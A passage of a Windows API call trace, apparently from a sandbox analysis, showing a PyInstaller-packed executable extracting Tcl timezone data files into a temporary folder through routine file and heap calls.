dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.859] GetLastError () returned 0x2 [0038.859] SetLastError (dwErrCode=0x2) [0038.859] GetLastError () returned 0x2 [0038.859] SetLastError (dwErrCode=0x2) [0038.859] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Guadeloupe", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Guadeloupe", lpFilePart=0x0) returned 0x4a [0038.859] GetLastError () returned 0x2 [0038.859] SetLastError (dwErrCode=0x2) [0038.859] GetLastError () returned 0x2 [0038.859] SetLastError (dwErrCode=0x2) [0038.859] GetLastError () returned 0x2 [0038.859] SetLastError (dwErrCode=0x2) [0038.859] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Guadeloupe") returned 75 [0038.859] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.859] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Guadeloupe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\guadeloupe"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.859] GetFileType (hFile=0x10c) returned 0x1 [0038.859] htonl (hostlong=0x98000000) returned 0x98 [0038.859] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.860] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x98, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x98, lpOverlapped=0x0) returned 1 [0038.861] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.861] CloseHandle (hObject=0x10c) returned 1 [0038.861] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.862] htonl (hostlong=0x30000000) returned 0x30 [0038.862] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.862] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.862] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.862] GetFileType (hFile=0x10c) returned 0x1 [0038.862] htonl (hostlong=0xaa1b5900) returned 0x591baa [0038.862] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5dcbaa, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.862] htonl (hostlong=0xcf000000) returned 0xcf [0038.862] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xcf) returned 0x5460d0 [0038.862] htonl (hostlong=0xcf000000) returned 0xcf [0038.862] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.862] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.862] htonl (hostlong=0x81010000) returned 0x181 [0038.862] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x181) returned 0x550600 [0038.862] htonl (hostlong=0xcf000000) returned 0xcf [0038.862] htonl (hostlong=0x81010000) returned 0x181 [0038.862] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.862] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.862] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5460d0 | out: hHeap=0x530000) returned 1 [0038.862] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.862] CloseHandle (hObject=0x10c) returned 1 [0038.862] GetLastError () returned 0x0 [0038.862] SetLastError (dwErrCode=0x0) [0038.862] GetLastError () returned 0x0 [0038.862] SetLastError (dwErrCode=0x0) [0038.862] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.863] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.863] GetFileType (hFile=0x10c) returned 0x1 [0038.863] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.863] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.863] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.863] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.863] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.863] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.863] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.863] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.863] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.863] CloseHandle (hObject=0x10c) returned 1 [0038.863] GetLastError () returned 0x0 [0038.863] SetLastError (dwErrCode=0x0) [0038.863] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.863] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.863] GetFileType (hFile=0x10c) returned 0x1 [0038.863] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.863] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.863] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.863] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.863] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.863] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.863] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.864] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.864] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.864] CloseHandle (hObject=0x10c) returned 1 [0038.864] GetLastError () returned 0x0 [0038.864] SetLastError (dwErrCode=0x0) [0038.864] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.864] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.864] GetFileType (hFile=0x10c) returned 0x1 [0038.864] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.864] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.864] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.864] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.864] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.864] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.864] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.864] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.864] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.864] CloseHandle (hObject=0x10c) returned 1 [0038.864] GetLastError () returned 0x0 [0038.864] SetLastError (dwErrCode=0x0) [0038.864] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Guatemala") returned 74 [0038.864] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Guatemala" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\guatemala"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.865] GetLastError () returned 0x2 [0038.865] SetLastError (dwErrCode=0x2) [0038.865] GetLastError () returned 0x2 [0038.865] SetLastError (dwErrCode=0x2) [0038.865] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Guatemala", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Guatemala", lpFilePart=0x0) returned 0x49 [0038.865] GetLastError () returned 0x2 [0038.865] SetLastError (dwErrCode=0x2) [0038.865] GetLastError () returned 0x2 [0038.865] SetLastError (dwErrCode=0x2) [0038.865] GetLastError () returned 0x2 [0038.865] SetLastError (dwErrCode=0x2) [0038.865] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Guatemala") returned 74 [0038.865] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.865] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Guatemala" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\guatemala"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.865] GetFileType (hFile=0x10c) returned 0x1 [0038.865] htonl (hostlong=0x81010000) returned 0x181 [0038.865] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.865] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x181, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x181, lpOverlapped=0x0) returned 1 [0038.866] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.866] CloseHandle (hObject=0x10c) returned 1 [0038.867] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.867] htonl (hostlong=0x30000000) returned 0x30 [0038.867] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.867] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.867] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.867] GetFileType (hFile=0x10c) returned 0x1 [0038.867] htonl (hostlong=0x791c5900) returned 0x591c79 [0038.867] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5dcc79, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.867] htonl (hostlong=0x9d000000) returned 0x9d [0038.867] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9d) returned 0x55cfe0 [0038.867] htonl (hostlong=0x9d000000) returned 0x9d [0038.867] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.867] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.867] htonl (hostlong=0xb6000000) returned 0xb6 [0038.867] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb6) returned 0x550600 [0038.868] htonl (hostlong=0x9d000000) returned 0x9d [0038.868] htonl (hostlong=0xb6000000) returned 0xb6 [0038.868] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.868] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.868] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.868] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.868] CloseHandle (hObject=0x10c) returned 1 [0038.868] GetLastError () returned 0x0 [0038.868] SetLastError (dwErrCode=0x0) [0038.868] GetLastError () returned 0x0 [0038.868] SetLastError (dwErrCode=0x0) [0038.868] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.868] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.868] GetFileType (hFile=0x10c) returned 0x1 [0038.868] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.868] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.868] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.868] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.868] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.868] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.868] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.868] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.868] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.868] CloseHandle (hObject=0x10c) returned 1 [0038.869] GetLastError () returned 0x0 [0038.869] SetLastError (dwErrCode=0x0) [0038.869] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.869] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.869] GetFileType (hFile=0x10c) returned 0x1 [0038.869] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.869] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.869] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.869] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.869] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.869] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.869] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.869] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.869] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.869] CloseHandle (hObject=0x10c) returned 1 [0038.869] GetLastError () returned 0x0 [0038.869] SetLastError (dwErrCode=0x0) [0038.869] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.869] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.869] GetFileType (hFile=0x10c) returned 0x1 [0038.869] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.869] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.869] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.869] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.869] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.870] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.870] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.870] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.870] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.870] CloseHandle (hObject=0x10c) returned 1 [0038.870] GetLastError () returned 0x0 [0038.870] SetLastError (dwErrCode=0x0) [0038.870] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Guayaquil") returned 74 [0038.870] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Guayaquil" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\guayaquil"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.870] GetLastError () returned 0x2 [0038.870] SetLastError (dwErrCode=0x2) [0038.870] GetLastError () returned 0x2 [0038.870] SetLastError (dwErrCode=0x2) [0038.870] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Guayaquil", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Guayaquil", lpFilePart=0x0) returned 0x49 [0038.870] GetLastError () returned 0x2 [0038.870] SetLastError (dwErrCode=0x2) [0038.870] GetLastError () returned 0x2 [0038.870] SetLastError (dwErrCode=0x2) [0038.870] GetLastError () returned 0x2 [0038.870] SetLastError (dwErrCode=0x2) [0038.870] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Guayaquil") returned 74 [0038.870] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.870] CreateFileW 